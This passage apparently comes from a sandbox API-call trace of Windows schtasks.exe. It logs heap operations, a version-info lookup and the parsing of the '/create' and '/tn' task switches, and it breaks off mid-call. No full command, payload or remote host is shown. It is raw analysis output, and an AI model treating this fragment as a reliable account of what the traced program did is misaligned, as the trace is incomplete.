Flags=0x0, MemoryPointer=0x2996d993bb0) returned 0x8 [0124.248] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993bb0) returned 1 [0124.248] GetProcessHeap () returned 0x2996d990000 [0124.248] GetProcessHeap () returned 0x2996d990000 [0124.248] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b5d0) returned 1 [0124.248] GetProcessHeap () returned 0x2996d990000 [0124.248] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b5d0) returned 0x20 [0124.249] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b5d0) returned 1 [0124.249] GetProcessHeap () returned 0x2996d990000 [0124.249] GetProcessHeap () returned 0x2996d990000 [0124.249] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a9f0) returned 1 [0124.249] GetProcessHeap () returned 0x2996d990000 [0124.249] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a9f0) returned 0xe [0124.249] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a9f0) returned 1 [0124.249] GetProcessHeap () returned 0x2996d990000 [0124.249] GetProcessHeap () returned 0x2996d990000 [0124.249] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b930) returned 1 [0124.249] GetProcessHeap () returned 0x2996d990000 [0124.249] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b930) returned 0x20 [0124.249] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b930) returned 1 [0124.249] GetProcessHeap () returned 0x2996d990000 [0124.249] GetProcessHeap () returned 0x2996d990000 [0124.249] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993bd0) returned 1 [0124.249] GetProcessHeap () returned 0x2996d990000 [0124.249] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993bd0) returned 0x8 [0124.249] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993bd0) returned 1 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.250] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b600) returned 1 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.250] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b600) returned 0x20 [0124.250] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b600) returned 1 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.250] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993bf0) returned 1 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.250] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993bf0) returned 0x4 [0124.250] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993bf0) returned 1 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.250] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b840) returned 1 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.250] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b840) returned 0x20 [0124.250] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b840) returned 1 [0124.250] GetProcessHeap () returned 0x2996d990000 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.251] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993c10) returned 1 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.251] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993c10) returned 0x8 [0124.251] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993c10) returned 1 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.251] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b750) returned 1 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.251] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b750) returned 0x20 [0124.251] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b750) returned 1 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.251] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99bd00) returned 1 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.251] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99bd00) returned 0x9a [0124.251] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99bd00) returned 1 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.251] GetProcessHeap () returned 0x2996d990000 [0124.252] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b9f0) returned 1 [0124.252] GetProcessHeap () returned 0x2996d990000 [0124.252] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b9f0) returned 0x20 [0124.252] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b9f0) returned 1 [0124.252] GetProcessHeap () returned 0x2996d990000 [0124.252] GetProcessHeap () returned 0x2996d990000 [0124.252] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993ce0) returned 1 [0124.252] GetProcessHeap () returned 0x2996d990000 [0124.252] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993ce0) returned 0x8 [0124.252] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993ce0) returned 1 [0124.252] GetProcessHeap () returned 0x2996d990000 [0124.252] GetProcessHeap () returned 0x2996d990000 [0124.252] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b3c0) returned 1 [0124.252] GetProcessHeap () returned 0x2996d990000 [0124.252] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b3c0) returned 0x20 [0124.252] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b3c0) returned 1 [0124.252] GetProcessHeap () returned 0x2996d990000 [0124.252] GetProcessHeap () returned 0x2996d990000 [0124.253] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a8d0) returned 1 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a8d0) returned 0x10 [0124.253] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a8d0) returned 1 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b510) returned 1 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b510) returned 0x20 [0124.253] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b510) returned 1 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993d00) returned 1 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d993d00) returned 0x6 [0124.253] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d993d00) returned 1 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99b7b0) returned 1 [0124.253] GetProcessHeap () returned 0x2996d990000 [0124.253] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b7b0) returned 0x20 [0124.254] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b7b0) returned 1 [0124.254] GetProcessHeap () returned 0x2996d990000 [0124.254] GetProcessHeap () returned 0x2996d990000 [0124.254] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994aa0) returned 1 [0124.254] GetProcessHeap () returned 0x2996d990000 [0124.254] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994aa0) returned 0x18 [0124.254] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994aa0) returned 1 [0124.254] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.254] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0124.254] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0124.254] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0124.254] RtlVerifyVersionInfo (VersionInfo=0xd79ca7c6c0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0124.254] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.254] lstrlenW (lpString="create") returned 6 [0124.255] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0124.255] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.255] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.255] lstrlenW (lpString="create") returned 6 [0124.255] GetProcessHeap () returned 0x2996d990000 [0124.255] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b540 [0124.255] GetProcessHeap () returned 0x2996d990000 [0124.255] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d99abf0 [0124.255] _memicmp (_Buf1=0x2996d99abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.255] GetProcessHeap () returned 0x2996d990000 [0124.255] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x16) returned 0x2996d99ab10 [0124.255] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.255] _memicmp (_Buf1=0x2996d994890, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.255] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2996d999720, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0124.255] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xd79ca7c818 | out: lpdwHandle=0xd79ca7c818) returned 0x76c [0124.255] GetProcessHeap () returned 0x2996d990000 [0124.256] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x776) returned 0x2996d99bd00 [0124.256] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2996d99bd00 | out: lpData=0x2996d99bd00) returned 1 [0124.256] VerQueryValueW (in: pBlock=0x2996d99bd00, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xd79ca7c7b0, puLen=0xd79ca7c810 | out: lplpBuffer=0xd79ca7c7b0*=0x2996d99c0b0, puLen=0xd79ca7c810) returned 1 [0124.256] _memicmp (_Buf1=0x2996d994890, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.256] _vsnwprintf (in: _Buffer=0x2996d999720, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xd79ca7c788 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0124.256] VerQueryValueW (in: pBlock=0x2996d99bd00, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xd79ca7c7a0, puLen=0xd79ca7c808 | out: lplpBuffer=0xd79ca7c7a0*=0x2996d99bee0, puLen=0xd79ca7c808) returned 1 [0124.256] lstrlenW (lpString="schtasks.exe") returned 12 [0124.256] lstrlenW (lpString="schtasks.exe") returned 12 [0124.256] lstrlenW (lpString=".EXE") returned 4 [0124.256] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0124.256] lstrlenW (lpString="schtasks.exe") returned 12 [0124.256] lstrlenW (lpString=".EXE") returned 4 [0124.256] lstrlenW (lpString="schtasks") returned 8 [0124.256] lstrlenW (lpString="/create") returned 7 [0124.256] _memicmp (_Buf1=0x2996d994890, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.256] _vsnwprintf (in: _Buffer=0x2996d999720, _BufferCount=0x19, _Format="%s %s", _ArgList=0xd79ca7c788 | out: _Buffer="schtasks /create") returned 16 [0124.257] _memicmp (_Buf1=0x2996d992160, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.257] GetProcessHeap () returned 0x2996d990000 [0124.257] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b8d0 [0124.257] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.257] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0124.257] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0124.257] GetProcessHeap () returned 0x2996d990000 [0124.257] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x30) returned 0x2996d993ce0 [0124.257] _vsnwprintf (in: _Buffer=0x2996d9942d0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xd79ca7c788 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0124.257] GetProcessHeap () returned 0x2996d990000 [0124.257] GetProcessHeap () returned 0x2996d990000 [0124.257] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99bd00) returned 1 [0124.257] GetProcessHeap () returned 0x2996d990000 [0124.257] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99bd00) returned 0x776 [0124.257] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99bd00) returned 1 [0124.257] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.257] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="create") returned 6 [0124.258] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="?") returned 1 [0124.258] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="s") returned 1 [0124.258] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="u") returned 1 [0124.258] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="p") returned 1 [0124.258] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="ru") returned 2 [0124.258] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="rp") returned 2 [0124.258] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="sc") returned 2 [0124.258] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="mo") returned 2 [0124.258] GetThreadLocale () returned 0x409 [0124.258] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.258] lstrlenW (lpString="d") returned 1 [0124.258] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.259] lstrlenW (lpString="m") returned 1 [0124.259] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.259] lstrlenW (lpString="i") returned 1 [0124.259] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.259] lstrlenW (lpString="tn") returned 2 [0124.259] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.259] lstrlenW (lpString="tr") returned 2 [0124.259] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.259] lstrlenW (lpString="st") returned 2 [0124.259] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.259] lstrlenW (lpString="sd") returned 2 [0124.259] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.259] lstrlenW (lpString="ed") returned 2 [0124.259] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.259] lstrlenW (lpString="it") returned 2 [0124.259] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.259] lstrlenW (lpString="et") returned 2 [0124.259] GetThreadLocale () returned 0x409 [0124.259] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="k") returned 1 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="du") returned 2 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="ri") returned 2 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="z") returned 1 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="f") returned 1 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="v1") returned 2 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="xml") returned 3 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="ec") returned 2 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="rl") returned 2 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.260] lstrlenW (lpString="delay") returned 5 [0124.260] GetThreadLocale () returned 0x409 [0124.260] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.261] lstrlenW (lpString="np") returned 2 [0124.261] GetThreadLocale () returned 0x409 [0124.261] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.261] lstrlenW (lpString="hresult") returned 7 [0124.261] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.261] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.261] lstrlenW (lpString="/create") returned 7 [0124.261] lstrlenW (lpString="-/") returned 2 [0124.261] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.261] lstrlenW (lpString="create") returned 6 [0124.261] lstrlenW (lpString="create") returned 6 [0124.261] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.261] lstrlenW (lpString="create") returned 6 [0124.261] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.261] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|create|") returned 8 [0124.261] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|create|") returned 8 [0124.261] lstrlenW (lpString="|create|") returned 8 [0124.261] lstrlenW (lpString="|create|") returned 8 [0124.261] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0124.261] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.261] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.261] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.261] lstrlenW (lpString="/tn") returned 3 [0124.261] lstrlenW (lpString="-/") returned 2 [0124.261] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.261] lstrlenW (lpString="create") returned 6 [0124.261] lstrlenW (lpString="create") returned 6 [0124.261] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.262] lstrlenW (lpString="tn") returned 2 [0124.262] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.262] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|create|") returned 8 [0124.262] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.262] lstrlenW (lpString="|create|") returned 8 [0124.262] lstrlenW (lpString="|tn|") returned 4 [0124.262] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0124.262] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.262] lstrlenW (lpString="?") returned 1 [0124.262] lstrlenW (lpString="?") returned 1 [0124.262] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.262] lstrlenW (lpString="tn") returned 2 [0124.262] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.262] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|?|") returned 3 [0124.262] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.262] lstrlenW (lpString="|?|") returned 3 [0124.262] lstrlenW (lpString="|tn|") returned 4 [0124.262] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.262] lstrlenW (lpString="s") returned 1 [0124.263] lstrlenW (lpString="s") returned 1 [0124.263] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.263] lstrlenW (lpString="tn") returned 2 [0124.263] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.263] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|s|") returned 3 [0124.263] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.263] lstrlenW (lpString="|s|") returned 3 [0124.263] lstrlenW (lpString="|tn|") returned 4 [0124.263] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.263] lstrlenW (lpString="u") returned 1 [0124.267] lstrlenW (lpString="u") returned 1 [0124.267] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.267] lstrlenW (lpString="tn") returned 2 [0124.267] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.267] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|u|") returned 3 [0124.267] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.267] lstrlenW (lpString="|u|") returned 3 [0124.267] lstrlenW (lpString="|tn|") returned 4 [0124.267] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.267] lstrlenW (lpString="p") returned 1 [0124.267] lstrlenW (lpString="p") returned 1 [0124.267] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.267] lstrlenW (lpString="tn") returned 2 [0124.267] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.267] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|p|") returned 3 [0124.267] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.268] lstrlenW (lpString="|p|") returned 3 [0124.268] lstrlenW (lpString="|tn|") returned 4 [0124.268] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.268] lstrlenW (lpString="ru") returned 2 [0124.268] lstrlenW (lpString="ru") returned 2 [0124.268] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.268] lstrlenW (lpString="tn") returned 2 [0124.268] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.268] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ru|") returned 4 [0124.268] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, 